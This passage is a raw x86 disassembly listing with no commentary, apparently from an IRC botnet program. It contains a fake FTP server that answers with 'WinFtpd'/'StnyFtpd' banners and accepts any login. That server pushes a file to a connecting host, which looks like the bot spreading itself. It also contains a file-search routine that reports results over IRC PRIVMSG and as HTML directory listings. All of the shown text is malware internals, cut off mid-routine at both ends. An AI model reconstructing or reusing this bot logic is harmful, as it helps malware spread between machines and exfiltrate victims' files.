arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 1A0h lea eax, [ebp+var_1A0] push eax push 101h call ds:dword_41F1EC push 0 push 1 push 2 call ds:dword_41F1F0 push [ebp+arg_0] mov dword_432FF0, eax mov [ebp+var_10], 2 call ds:dword_41F1F4 push [ebp+arg_4] mov [ebp+var_C], eax call ds:dword_41F204 mov [ebp+var_E], ax push 10h lea eax, [ebp+var_10] push eax push dword_432FF0 call ds:dword_41F1F8 cmp eax, 0FFFFFFFFh jnz short loc_402A86 push dword_432FF0 call ds:dword_41F1FC call ds:dword_41F200 xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_402A86: ; CODE XREF: sub_402A0E+60j xor eax, eax inc eax leave retn sub_402A0E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402A8B proc near ; CODE XREF: sub_402B1D+4AEp var_504 = byte ptr -504h var_104 = byte ptr -104h push ebp mov ebp, esp sub esp, 504h push esi push 104h lea eax, [ebp+var_104] push eax push 0 call ds:dword_41F010 lea eax, [ebp+var_104] push offset dword_41F968 push eax call sub_413393 mov esi, eax test esi, esi pop ecx pop ecx jnz short loc_402AF8 jmp short loc_402B1A ; --------------------------------------------------------------------------- loc_402AC4: ; CODE XREF: sub_402A8B+72j push 400h lea eax, [ebp+var_504] push 1 push eax call sub_41313E add esp, 10h push 0 push eax lea eax, [ebp+var_504] push eax push dword_432FF0 call ds:dword_41F1E8 push 0Ah call ds:dword_41F000 loc_402AF8: ; CODE XREF: sub_402A8B+35j test byte ptr [esi+0Ch], 10h push esi jz short loc_402AC4 call sub_412F93 pop ecx push dword_432FF0 call ds:dword_41F1FC call ds:dword_41F200 xor eax, eax inc eax loc_402B1A: ; CODE XREF: sub_402A8B+37j pop esi leave retn sub_402A8B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame fpd=74h sub_402B1D proc near ; DATA XREF: sub_401141+254o var_A6C = byte ptr -0A6Ch var_8DC = byte ptr -8DCh var_6DC = dword ptr -6DCh var_6D8 = byte ptr -6D8h var_4C4 = byte ptr -4C4h var_444 = dword ptr -444h var_440 = dword ptr -440h var_438 = dword ptr -438h var_334 = byte ptr -334h var_2D0 = byte ptr -2D0h var_29C = byte ptr -29Ch var_238 = byte ptr -238h var_228 = dword ptr -228h var_224 = dword ptr -224h var_220 = dword ptr -220h var_124 = byte ptr -124h var_F8 = byte ptr -0F8h var_C4 = byte ptr -0C4h var_AC = byte ptr -0ACh var_48 = byte ptr -48h var_38 = word ptr -38h var_36 = word ptr -36h var_34 = dword ptr -34h var_28 = byte ptr -28h var_24 = dword ptr -24h var_20 = byte ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp lea ebp, [esp-74h] sub esp, 0A6Ch mov eax, [ebp+74h+arg_0] push ebx push esi push edi mov esi, eax xor ebx, ebx inc ebx mov ecx, 0A9h lea edi, [ebp+74h+var_6DC] rep movsd mov [eax+2A0h], ebx lea eax, [ebp+74h+var_A6C] push eax xor esi, esi push 101h mov [ebp+74h+var_18], ebx mov [ebp+74h+var_1C], ebx mov [ebp+74h+var_228], esi mov [ebp+74h+var_438], esi call ds:dword_41F1EC push esi call sub_413820 push eax call sub_412D64 mov eax, [ebp+74h+arg_0] mov eax, [eax+214h] pop ecx pop ecx push esi push ebx push 2 mov dword_432FF4, eax call ds:dword_41F1F0 mov ebx, eax push 4 lea eax, [ebp+74h+var_18] push eax push 4 push 0FFFFh push ebx mov [ebp+74h+var_8], ebx call ds:dword_41F1C8 lea eax, [ebp+74h+var_1C] push eax push 8004667Eh push ebx call ds:dword_41F1CC xor eax, eax mov ax, word ptr dword_432FF4 mov [ebp+74h+var_38], 2 mov [ebp+74h+var_34], esi push eax call ds:dword_41F204 mov [ebp+74h+var_36], ax push 10h lea eax, [ebp+74h+var_38] push eax push ebx call ds:dword_41F1D0 test eax, eax jl loc_4030B7 push 0Ah push ebx call ds:dword_41F1D4 push 41h pop ecx xor eax, eax push eax push eax push eax lea eax, [ebp+74h+var_438] mov [ebp+74h+var_224], ebx mov [ebp+74h+var_4], ebx push eax inc ebx lea esi, [ebp+74h+var_228] lea edi, [ebp+74h+var_438] mov [ebp+74h+var_228], 1 push ebx rep movsd call ds:dword_41F1D8 cmp eax, 0FFFFFFFFh jz loc_4030B7 mov ebx, ds:dword_41F1E8 loc_402C3C: ; CODE XREF: sub_402B1D+594j xor esi, esi cmp [ebp+74h+var_4], esi mov [ebp+74h+arg_0], esi jl loc_403086 loc_402C4A: ; CODE XREF: sub_402B1D+563j push 19h pop ecx xor eax, eax push 19h lea edi, [ebp+74h+var_29C] rep stosd pop ecx lea edi, [ebp+74h+var_AC] rep stosd lea eax, [ebp+74h+var_438] push eax push esi call sub_41E8A0 test eax, eax jz loc_403079 cmp esi, [ebp+74h+var_8] jnz short loc_402CE4 push 10h pop edi lea eax, [ebp+74h+var_24] push eax lea eax, [ebp+74h+var_238] push eax push [ebp+74h+var_8] mov [ebp+74h+var_24], edi call ds:dword_41F1E0 cmp eax, 0FFFFFFFFh jz loc_403079 mov edx, [ebp+74h+var_228] xor ecx, ecx test edx, edx jbe short loc_402CB6 loc_402CA8: ; CODE XREF: sub_402B1D+197j cmp [ebp+ecx*4+74h+var_224], eax jz short loc_402CB6 inc ecx cmp ecx, edx jb short loc_402CA8 loc_402CB6: ; CODE XREF: sub_402B1D+189j ; sub_402B1D+192j cmp ecx, edx jnz short loc_402CCC cmp edx, 40h jnb short loc_402CCC mov [ebp+ecx*4+74h+var_224], eax inc [ebp+74h+var_228] loc_402CCC: ; CODE XREF: sub_402B1D+19Bj ; sub_402B1D+1A0j cmp eax, [ebp+74h+var_4] jle short loc_402CD4 mov [ebp+74h+var_4], eax loc_402CD4: ; CODE XREF: sub_402B1D+1B2j push 0 push edi push offset a220Winftpd1_2 ; "220 WinFtpd 1.2\n" push eax call ebx jmp loc_403079 ; --------------------------------------------------------------------------- loc_402CE4: ; CODE XREF: sub_402B1D+15Aj push 0 push 64h lea eax, [ebp+74h+var_29C] push eax push esi call ds:dword_41F1E4 test eax, eax jg short loc_402D42 mov ecx, [ebp+74h+var_228] xor eax, eax test ecx, ecx jbe short loc_402D36 loc_402D06: ; CODE XREF: sub_402B1D+1F5j cmp [ebp+eax*4+74h+var_224], esi jz short loc_402D2B inc eax cmp eax, ecx jb short loc_402D06 jmp short loc_402D36 ; --------------------------------------------------------------------------- loc_402D16: ; CODE XREF: sub_402B1D+211j mov ecx, [ebp+eax*4+74h+var_220] mov [ebp+eax*4+74h+var_224], ecx mov ecx, [ebp+74h+var_228] inc eax loc_402D2B: ; CODE XREF: sub_402B1D+1F0j dec ecx cmp eax, ecx jb short loc_402D16 dec [ebp+74h+var_228] loc_402D36: ; CODE XREF: sub_402B1D+1E7j ; sub_402B1D+1F7j push esi call ds:dword_41F1FC jmp loc_403079 ; --------------------------------------------------------------------------- loc_402D42: ; CODE XREF: sub_402B1D+1DBj lea eax, [ebp+74h+var_334] push eax lea eax, [ebp+74h+var_AC] push eax lea eax, [ebp+74h+var_29C] push offset aSS_0 ; "%s %s" push eax call sub_412D93 add esp, 10h push 5 pop edx mov edi, offset aUser_0 ; "USER" lea esi, [ebp+74h+var_AC] mov ecx, edx xor eax, eax repe cmpsb jnz short loc_402D81 push eax push 16h push offset a331PasswordReq ; "331 Password required\n" jmp loc_403064 ; --------------------------------------------------------------------------- loc_402D81: ; CODE XREF: sub_402B1D+255j mov edi, offset aPass ; "PASS" lea esi, [ebp+74h+var_AC] mov ecx, edx xor eax, eax repe cmpsb jnz short loc_402D9E push eax push 14h push offset a230UserLoggedI ; "230 User logged in.\n" jmp loc_403064 ; --------------------------------------------------------------------------- loc_402D9E: ; CODE XREF: sub_402B1D+272j mov edi, offset aSyst ; "SYST" lea esi, [ebp+74h+var_AC] mov ecx, edx xor eax, eax repe cmpsb jnz short loc_402DBB push eax push 0Dh push offset a215Stnyftpd ; "215 StnyFtpd\n" jmp loc_403064 ; --------------------------------------------------------------------------- loc_402DBB: ; CODE XREF: sub_402B1D+28Fj mov edi, offset aRest ; "REST" lea esi, [ebp+74h+var_AC] mov ecx, edx xor eax, eax repe cmpsb jnz short loc_402DD8 push eax push 10h push offset a350Restarting_ ; "350 Restarting.\n" jmp loc_403064 ; --------------------------------------------------------------------------- loc_402DD8: ; CODE XREF: sub_402B1D+2ACj push 4 mov edi, offset off_41FE14 lea esi, [ebp+74h+var_AC] pop ecx xor eax, eax repe cmpsb jnz short loc_402DF6 push eax push 1Eh push offset a257IsCurrentDi ; "257 \"/\" is current directory.\n" jmp loc_403064 ; --------------------------------------------------------------------------- loc_402DF6: ; CODE XREF: sub_402B1D+2CAj mov eax, offset aType ; "TYPE" mov ecx, edx mov edi, eax lea esi, [ebp+74h+var_AC] xor edx, edx repe cmpsb jnz short loc_402E29 push 2 mov edi, offset aA_0 ; "A" lea esi, [ebp+74h+var_334] pop ecx xor edx, edx repe cmpsb jnz short loc_402E29 push edx push 13h push offset a200TypeSetToA_ ; "200 Type set to A.\n" jmp loc_403064 ; --------------------------------------------------------------------------- loc_402E29: ; CODE XREF: sub_402B1D+2E9j ; sub_402B1D+2FDj mov edi, eax push 5 pop eax lea esi, [ebp+74h+var_AC] mov ecx, eax xor edx, edx repe cmpsb jnz short loc_402E5A push 2 mov edi, offset aI ; "I" lea esi, [ebp+74h+var_334] pop ecx xor edx, edx repe cmpsb jnz short loc_402E5A push edx push 13h push offset a200TypeSetToI_ ; "200 Type set to I.\n" jmp loc_403064 ; --------------------------------------------------------------------------- loc_402E5A: ; CODE XREF: sub_402B1D+31Aj ; sub_402B1D+32Ej mov edi, offset aPasv ; "PASV" lea esi, [ebp+74h+var_AC] mov ecx, eax xor edx, edx repe cmpsb jnz short loc_402E99 push 0Ah pop ecx mov esi, offset a425PassiveNotS ; "425 Passive not supported on this serve"... lea edi, [ebp+74h+var_124] rep movsd lea eax, [ebp+74h+var_124] movsw lea edx, [eax+1] loc_402E85: ; CODE XREF: sub_402B1D+36Dj mov cl, [eax] inc eax test cl, cl jnz short loc_402E85 sub eax, edx push 0 push eax lea eax, [ebp+74h+var_124] jmp short loc_402ECD ; --------------------------------------------------------------------------- loc_402E99: ; CODE XREF: sub_402B1D+34Bj mov edi, offset aList ; "LIST" lea esi, [ebp+74h+var_AC] mov ecx, eax xor edx, edx repe cmpsb mov ecx, eax jnz short loc_402ED3 mov esi, offset a226TransferCom ; "226 Transfer complete\n" lea edi, [ebp+74h+var_C4] rep movsd movsw lea eax, [ebp+74h+var_C4] movsb lea edx, [eax+1] loc_402EBE: ; CODE XREF: sub_402B1D+3A6j mov cl, [eax] inc eax test cl, cl jnz short loc_402EBE sub eax, edx push 0 push eax lea eax, [ebp+74h+var_C4] loc_402ECD: ; CODE XREF: sub_402B1D+37Aj push eax jmp loc_403064 ; --------------------------------------------------------------------------- loc_402ED3: ; CODE XREF: sub_402B1D+38Cj mov edi, offset aPort ; "PORT" lea esi, [ebp+74h+var_AC] xor edx, edx repe cmpsb jnz loc_402F97 lea eax, [ebp+74h+var_2D0] push eax lea eax, [ebp+74h+var_F8] push eax lea eax, [ebp+74h+var_28] push eax lea eax, [ebp+74h+var_20] push eax lea eax, [ebp+74h+var_14] push eax lea eax, [ebp+74h+var_C] push eax lea eax, [ebp+74h+var_29C] push offset aS ; "%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^\n]"... push eax call sub_412D93 lea eax, [ebp+74h+var_F8] push eax call sub_412F42 mov esi, eax lea eax, [ebp+74h+var_2D0] push eax call sub_412F42 push 0Ch mov edx, eax pop ecx xor eax, eax lea edi, [ebp+74h+var_F8] rep stosd push edx push esi stosw lea eax, [ebp+74h+var_F8] push offset aXX ; "%x%x\n" push eax call sub_412BB5 push 10h lea eax, [ebp+74h+var_F8] push 0 push eax call sub_413809 mov [ebp+74h+var_10], eax add esp, 44h lea eax, [ebp+74h+var_28] push eax lea eax, [ebp+74h+var_20] push eax lea eax, [ebp+74h+var_14] push eax lea eax, [ebp+74h+var_C] push eax lea eax, [ebp+74h+var_48] push offset aS_S_S_S ; "%s.%s.%s.%s" push eax call sub_412BB5 add esp, 18h push 0 push 1Dh push offset a200PortCommand ; "200 PORT command successful.\n" jmp loc_403064 ; --------------------------------------------------------------------------- loc_402F97: ; CODE XREF: sub_402B1D+3C2j mov edi, offset aRetr ; "RETR" lea esi, [ebp+74h+var_AC] mov ecx, eax xor edx, edx repe cmpsb jnz loc_40304C push edx push 28h push offset a150OpeningBina ; "150 Opening BINARY mode data connection"... push [ebp+74h+arg_0] call ebx push [ebp+74h+var_10] lea eax, [ebp+74h+var_48] push eax call sub_402A0E cmp eax, 1 pop ecx pop ecx jnz short loc_403041 call sub_402A8B cmp eax, 1 jnz loc_403069 xor esi, esi push esi push 17h push offset a226TransferC_0 ; "226 Transfer complete.\n" push [ebp+74h+arg_0] call ebx lea eax, [ebp+74h+var_6D8] push eax lea eax, [ebp+74h+var_48] push eax lea eax, [ebp+74h+var_8DC] push offset aFtpFileTransfe ; "[FTP]: File transfer complete to IP: %s"... push eax call sub_412BB5 add esp, 10h cmp [ebp+74h+var_440], esi jnz short loc_403032 push esi push [ebp+74h+var_444] lea eax, [ebp+74h+var_8DC] push eax lea eax, [ebp+74h+var_4C4] push eax push [ebp+74h+var_6DC] call sub_4045DD add esp, 14h loc_403032: ; CODE XREF: sub_402B1D+4F0j lea eax, [ebp+74h+var_8DC] push eax call sub_401C33 pop ecx jmp short loc_403069 ; --------------------------------------------------------------------------- loc_403041: ; CODE XREF: sub_402B1D+4ACj push 0 push 20h push offset a425CanTOpenDat ; "425 Can't open data connection.\n" jmp short loc_403064 ; --------------------------------------------------------------------------- loc_40304C: ; CODE XREF: sub_402B1D+488j mov ecx, eax mov edi, offset aQuit ; "QUIT" lea esi, [ebp+74h+var_AC] xor eax, eax repe cmpsb jnz short loc_403069 push eax push 0Dh push offset a221Goodbye_ ; "221 Goodbye.\n" loc_403064: ; CODE XREF: sub_402B1D+25Fj ; sub_402B1D+27Cj ... push [ebp+74h+arg_0] call ebx loc_403069: ; CODE XREF: sub_402B1D+4B6j ; sub_402B1D+522j ... mov esi, [ebp+74h+arg_0] push 19h pop ecx xor eax, eax lea edi, [ebp+74h+var_29C] rep stosd loc_403079: ; CODE XREF: sub_402B1D+151j ; sub_402B1D+179j ... inc esi cmp esi, [ebp+74h+var_4] mov [ebp+74h+arg_0], esi jle loc_402C4A loc_403086: ; CODE XREF: sub_402B1D+127j push 41h pop ecx xor eax, eax push eax push eax push eax lea eax, [ebp+74h+var_438] push eax mov eax, [ebp+74h+var_4] inc eax lea esi, [ebp+74h+var_228] lea edi, [ebp+74h+var_438] push eax rep movsd call ds:dword_41F1D8 cmp eax, 0FFFFFFFFh jnz loc_402C3C loc_4030B7: ; CODE XREF: sub_402B1D+C9j ; sub_402B1D+113j pop edi xor eax, eax pop esi inc eax pop ebx add ebp, 74h leave retn 4 sub_402B1D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4030C4 proc near ; CODE XREF: sub_4039DE+149p ; sub_4078FA+355Dp var_598 = byte ptr -598h var_494 = byte ptr -494h var_38C = dword ptr -38Ch var_378 = byte ptr -378h var_36C = dword ptr -36Ch var_360 = byte ptr -360h var_24C = byte ptr -24Ch var_4C = byte ptr -4Ch var_24 = byte ptr -24h var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_16 = word ptr -16h var_14 = word ptr -14h var_12 = word ptr -12h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 598h push ebx push esi push edi push 41h pop ecx xor eax, eax lea edi, [ebp+var_598] rep stosd mov edi, [ebp+arg_0] xor ebx, ebx push offset asc_420328 ; "\n" push edi mov [ebp+var_4], ebx mov [ebp+var_8], ebx call sub_413859 cmp [ebp+arg_8], ebx pop ecx pop ecx jz short loc_40311D push edi push [ebp+arg_8] mov esi, 200h push offset aPrivmsgSSearch ; "PRIVMSG %s :Searching for: %s\r\n" lea eax, [ebp+var_24C] push esi push eax call sub_412E0D add esp, 14h jmp loc_40323A ; --------------------------------------------------------------------------- loc_40311D: ; CODE XREF: sub_4030C4+34j cmp [ebp+arg_C], ebx jz loc_40321F mov eax, edi lea ecx, [eax+1] loc_40312B: ; CODE XREF: sub_4030C4+6Cj mov dl, [eax] inc eax test dl, dl jnz short loc_40312B push edi sub eax, ecx and [eax+edi-1], dl push offset aHtmlHeadTitleI ; "<HTML>\r\n<HEAD>\r\n<TITLE>Index of %s</TIT"... mov esi, 200h lea eax, [ebp+var_24C] push esi push eax call sub_412E0D lea eax, [ebp+var_24C] add esp, 10h lea ecx, [eax+1] loc_40315C: ; CODE XREF: sub_4030C4+9Dj mov dl, [eax] inc eax test dl, dl jnz short loc_40315C push ebx sub eax, ecx push eax lea eax, [ebp+var_24C] push eax push [ebp+arg_4] call dword_433534 push edi push offset aH1IndexOfSH1Ta ; "<H1>Index of %s</H1>\r\n<TABLE BORDER=\"0\""... lea eax, [ebp+var_24C] push esi push eax call sub_412E0D lea eax, [ebp+var_24C] add esp, 10h lea ecx, [eax+1] loc_403196: ; CODE XREF: sub_4030C4+D7j mov dl, [eax] inc eax test dl, dl jnz short loc_403196 push ebx sub eax, ecx push eax lea eax, [ebp+var_24C] push eax push [ebp+arg_4] call dword_433534 mov eax, edi lea ecx, [eax+1] loc_4031B6: ; CODE XREF: sub_4030C4+F7j mov dl, [eax] inc eax test dl, dl jnz short loc_4031B6 push 3Ch push 96h push 0E6h sub eax, ecx push offset aTrTdWidthDCode ; "<TR>\r\n<TD WIDTH=\"%d\"><CODE>Name</CODE><"... mov byte ptr [eax+edi], 2Ah lea eax, [ebp+var_24C] push esi push eax call sub_412E0D lea eax, [ebp+var_24C] add esp, 18h lea ecx, [eax+1] loc_4031ED: ; CODE XREF: sub_4030C4+12Ej mov dl, [eax] inc eax test dl, dl jnz short loc_4031ED push ebx sub eax, ecx push eax lea eax, [ebp+var_24C] push eax push [ebp+arg_4] call dword_433534 push offset aTrTdColspan3Hr ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"... lea eax, [ebp+var_24C] push esi push eax call sub_412E0D add esp, 0Ch jmp short loc_40323A ; --------------------------------------------------------------------------- loc_40321F: ; CODE XREF: sub_4030C4+5Cj push edi push offset aSearchingForS ; "Searching for: %s\r\n" mov esi, 200h lea eax, [ebp+var_24C] push esi push eax call sub_412E0D add esp, 10h loc_40323A: ; CODE XREF: sub_4030C4+54j ; sub_4030C4+159j lea eax, [ebp+var_24C] lea edx, [eax+1] loc_403243: ; CODE XREF: sub_4030C4+184j mov cl, [eax] inc eax test cl, cl jnz short loc_403243 push ebx sub eax, edx push eax lea eax, [ebp+var_24C] push eax push [ebp+arg_4] call dword_433534 mov eax, [ebp+arg_C] cmp eax, ebx jz loc_4032ED lea edx, [eax+1] loc_40326C: ; CODE XREF: sub_4030C4+1ADj mov cl, [eax] inc eax test cl, cl jnz short loc_40326C sub eax, edx cmp eax, 2 jbe short loc_4032ED mov eax, [ebp+arg_C] lea edx, [eax+1] loc_403280: ; CODE XREF: sub_4030C4+1C1j mov cl, [eax] inc eax test cl, cl jnz short loc_403280 sub eax, edx add eax, 0FFFFFFFDh cmp eax, ebx jz short loc_40329C loc_403290: ; CODE XREF: sub_4030C4+1D6j mov ecx, [ebp+arg_C] cmp byte ptr [eax+ecx], 2Fh jz short loc_40329C dec eax jnz short loc_403290 loc_40329C: ; CODE XREF: sub_4030C4+1CAj ; sub_4030C4+1D3j inc eax push eax push [ebp+arg_C] lea eax, [ebp+var_598] push eax call sub_412C40 lea eax, [ebp+var_598] push eax push offset aTrTdColspan3AH ; "<TR>\r\n<TD COLSPAN=\"3\"><A HREF=\"%s\"><COD"... lea eax, [ebp+var_24C] push esi push eax call sub_412E0D lea eax, [ebp+var_24C] add esp, 1Ch lea ecx, [eax+1] loc_4032D2: ; CODE XREF: sub_4030C4+213j mov dl, [eax] inc eax test dl, dl jnz short loc_4032D2 push ebx sub eax, ecx push eax lea eax, [ebp+var_24C] push eax push [ebp+arg_4] call dword_433534 loc_4032ED: ; CODE XREF: sub_4030C4+19Fj ; sub_4030C4+1B4j lea eax, [ebp+var_38C] push eax push edi call ds:dword_41F054 lea ecx, [ebp+var_38C] push ecx push eax mov [ebp+var_C], eax call ds:dword_41F050 test eax, eax jz loc_40371A mov ebx, 1FFh loc_403319: ; CODE XREF: sub_4030C4+650j cmp [ebp+var_38C], 0 jz loc_403702 push 3 mov edi, offset a__ ; ".." lea esi, [ebp+var_360] pop ecx xor eax, eax repe cmpsb jz loc_403702 push 2 mov edi, offset a__0 ; "." lea esi, [ebp+var_360] pop ecx xor eax, eax repe cmpsb jz loc_403702 lea eax, [ebp+var_24] push eax lea eax, [ebp+var_378] push eax call ds:dword_41F04C lea eax, [ebp+var_1C] push eax lea eax, [ebp+var_24] push eax call ds:dword_41F048 mov ax, [ebp+var_14] cmp ax, 0Ch mov ecx, offset aPm ; "PM" ja loc_403417 mov ecx, offset aAm ; "AM" movzx eax, ax loc_403390: ; CODE XREF: sub_4030C4+359j push ecx movzx ecx, [ebp+var_12] push ecx push eax movzx eax, [ebp+var_1C] push eax movzx eax, [ebp+var_16] push eax movzx eax, [ebp+var_1A] push eax lea eax, [ebp+var_4C] push offset a2_2d2_2d4d2_2d ; "%2.2d/%2.2d/%4d %2.2d:%2.2d %s" push eax call sub_412BB5 add esp, 20h xor edi, edi test byte ptr [ebp+var_38C], 10h jz loc_403566 inc [ebp+var_8] cmp [ebp+arg_8], edi jz short loc_403422 lea eax, [ebp+var_360] push eax push offset aS_0 ; "<%s>" lea eax, [ebp+var_494] push 106h push eax call sub_412E0D lea eax, [ebp+var_4C] push eax lea eax, [ebp+var_494] push eax push [ebp+arg_8] lea eax, [ebp+var_24C] push offset aPrivmsgS31s21s ; "PRIVMSG %s :%-31s %-21s\n" push 200h push eax call sub_412E0D add esp, 28h jmp loc_4036CE ; --------------------------------------------------------------------------- loc_403417: ; CODE XREF: sub_4030C4+2BEj movzx eax, ax sub eax, 0Ch jmp loc_403390 ; --------------------------------------------------------------------------- loc_403422: ; CODE XREF: sub_4030C4+308j cmp [ebp+arg_C], edi jz loc_403520 push 0E6h push offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\"" lea eax, [ebp+var_24C] push ebx push eax call sub_412E0D lea eax, [ebp+var_24C] add esp, 10h lea esi, [eax+1] loc_40344E: ; CODE XREF: sub_4030C4+38Fj mov cl, [eax] inc eax test cl, cl jnz short loc_40344E push edi sub eax, esi push eax lea eax, [ebp+var_24C] push eax push [ebp+arg_4] call dword_433534 lea eax, [ebp+var_360] push eax push [ebp+arg_C] lea eax, [ebp+var_24C] push offset aSS_1 ; "%s%s/" push ebx push eax call sub_412E0D lea eax, [ebp+var_24C] add esp, 14h lea esi, [eax+1] loc_403491: ; CODE XREF: sub_4030C4+3D2j mov cl, [eax] inc eax test cl, cl jnz short loc_403491 push edi sub eax, esi push eax lea eax, [ebp+var_24C] push eax push [ebp+arg_4] call dword_433534 lea eax, [ebp+var_360] lea esi, [eax+1] loc_4034B5: ; CODE XREF: sub_4030C4+3F6j mov cl, [eax] inc eax test cl, cl jnz short loc_4034B5 sub eax, esi cmp eax, 1Eh lea eax, [ebp+var_360] push eax lea eax, [ebp+var_24C] jbe short loc_4034D7 push offset aCode_29sGtCode ; "\"><CODE>%.29s>/</CODE></A>" jmp short loc_4034DC ; --------------------------------------------------------------------------- loc_4034D7: ; CODE XREF: sub_4030C4+40Aj push offset aCodeSCodeA ; "\"><CODE>%s/</CODE></A>" loc_4034DC: ; CODE XREF: sub_4030C4+411j push ebx push eax call sub_412E0D lea eax, [ebp+var_24C] add esp, 10h lea edx, [eax+1] loc_4034EF: ; CODE XREF: sub_4030C4+430j mov cl, [eax] inc eax test cl, cl jnz short loc_4034EF push edi sub eax, edx push eax lea eax, [ebp+var_24C] push eax push [ebp+arg_4] call dword_433534 push 3Ch lea eax, [ebp+var_4C] push eax push 96h push offset aTdTdWidthDCode ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"... push ebx jmp loc_4036BF ; --------------------------------------------------------------------------- loc_403520: ; CODE XREF: sub_4030C4+361j lea eax, [ebp+var_360] push eax push offset aS_0 ; "<%s>" lea eax, [ebp+var_494] push 106h push eax call sub_412E0D lea eax, [ebp+var_4C] push eax lea eax, [ebp+var_494] push eax push offset a31s21s ; "%-31s %-21s\r\n" loc_40354D: ; CODE XREF: sub_4030C4+4CAj lea eax, [ebp+var_24C] push 200h push eax call sub_412E0D add esp, 24h jmp loc_4036CE ; --------------------------------------------------------------------------- loc_403566: ; CODE XREF: sub_4030C4+2FCj inc [ebp+var_4] cmp [ebp+arg_8], edi jz short loc_403590 push edi push [ebp+var_36C] call sub_402439 push eax lea eax, [ebp+var_4C] push eax lea eax, [ebp+var_360] push eax push [ebp+arg_8] push offset aPrivmsgS31s2_0 ; "PRIVMSG %s :%-31s %-21s (%s bytes)\n" jmp short loc_40354D ; --------------------------------------------------------------------------- loc_403590: ; CODE XREF: sub_4030C4+4A8j cmp [ebp+arg_C], edi jz loc_4036A4 push 0E6h push offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\"" lea eax, [ebp+var_24C] push ebx push eax call sub_412E0D lea eax, [ebp+var_24C] add esp, 10h lea esi, [eax+1] loc_4035BC: ; CODE XREF: sub_4030C4+4FDj mov cl, [eax] inc eax test cl, cl jnz short loc_4035BC push edi sub eax, esi push eax lea eax, [ebp+var_24C] push eax push [ebp+arg_4] call dword_433534 lea eax, [ebp+var_360] push eax push [ebp+arg_C] lea eax, [ebp+var_24C] push offset aSS ; "%s%s" push ebx push eax call sub_412E0D lea eax, [ebp+var_24C] add esp, 14h lea esi, [eax+1] loc_4035FF: ; CODE XREF: sub_4030C4+540j mov cl, [eax] inc eax test cl, cl jnz short loc_4035FF push edi sub eax, esi push eax lea eax, [ebp+var_24C] push eax push [ebp+arg_4] call dword_433534 lea eax, [ebp+var_360] lea esi, [eax+1] loc_403623: ; CODE XREF: sub_4030C4+564j mov cl, [eax] inc eax test cl, cl jnz short loc_403623 sub eax, esi cmp eax, 1Fh lea eax, [ebp+var_360] push eax lea eax, [ebp+var_24C] jbe short loc_403645 push offset aCode_30sGtCode ; "\"><CODE>%.30s></CODE></A>" jmp short loc_40364A ; --------------------------------------------------------------------------- loc_403645: ; CODE XREF: sub_4030C4+578j push offset aCodeSCodeA_0 ; "\"><CODE>%s</CODE></A>" loc_40364A: ; CODE XREF: sub_4030C4+57Fj push ebx push eax call sub_412E0D lea eax, [ebp+var_24C] add esp, 10h lea edx, [eax+1] loc_40365D: ; CODE XREF: sub_4030C4+59Ej mov cl, [eax] inc eax test cl, cl jnz short loc_40365D push edi sub eax, edx push eax lea eax, [ebp+var_24C] push eax push [ebp+arg_4] call dword_433534 mov eax, [ebp+var_36C] shr eax, 0Ah push eax push 3Ch lea eax, [ebp+var_4C] push eax push 96h push offset aTdTdWidthDCo_0 ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"... lea eax, [ebp+var_24C] push ebx push eax call sub_412E0D add esp, 1Ch jmp short loc_4036CE ; --------------------------------------------------------------------------- loc_4036A4: ; CODE XREF: sub_4030C4+4CFj push [ebp+var_36C] lea eax, [ebp+var_4C] push eax lea eax, [ebp+var_360] push eax push offset a31s21sIBytes ; "%-31s %-21s (%i bytes)\r\n" push 200h loc_4036BF: ; CODE XREF: sub_4030C4+457j lea eax, [ebp+var_24C] push eax call sub_412E0D add esp, 18h loc_4036CE: ; CODE XREF: sub_4030C4+34Ej ; sub_4030C4+49Dj ... lea eax, [ebp+var_24C] lea edx, [eax+1] loc_4036D7: ; CODE XREF: sub_4030C4+618j mov cl, [eax] inc eax test cl, cl jnz short loc_4036D7 push edi sub eax, edx push eax lea eax, [ebp+var_24C] push eax push [ebp+arg_4] call dword_433534 cmp [ebp+arg_8], edi jz short loc_403702 push 0FAh call ds:dword_41F000 loc_403702: ; CODE XREF: sub_4030C4+25Cj ; sub_4030C4+274j ... lea eax, [ebp+var_38C] push eax push [ebp+var_C] call ds:dword_41F050 test eax, eax jnz loc_403319 loc_40371A: ; CODE XREF: sub_4030C4+24Aj push [ebp+var_C] call ds:dword_41F044 xor esi, esi cmp [ebp+arg_8], esi jz short loc_40375F mov eax, [ebp+var_8] cdq push edx push eax call sub_402439 pop ecx pop ecx push eax mov eax, [ebp+var_4] cdq push edx push eax call sub_402439 pop ecx pop ecx push eax push [ebp+arg_8] lea eax, [ebp+var_24C] push offset aPrivmsgSFoundS ; "PRIVMSG %s :Found %s Files and %s Direc"... push eax call sub_412BB5 add esp, 14h jmp short loc_40378D ; --------------------------------------------------------------------------- loc_40375F: ; CODE XREF: sub_4030C4+664j cmp [ebp+arg_C], esi lea eax, [ebp+var_24C] jz short loc_403779 push offset aTrTdColspan3_0 ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"... push eax call sub_412BB5 pop ecx pop ecx jmp short loc_40378D ; --------------------------------------------------------------------------- loc_403779: ; CODE XREF: sub_4030C4+6A4j push [ebp+var_8] push [ebp+var_4] push offset aFoundIFilesAnd ; "Found: %i Files and %i Directories\r\n" push eax call sub_412BB5 add esp, 10h loc_40378D: ; CODE 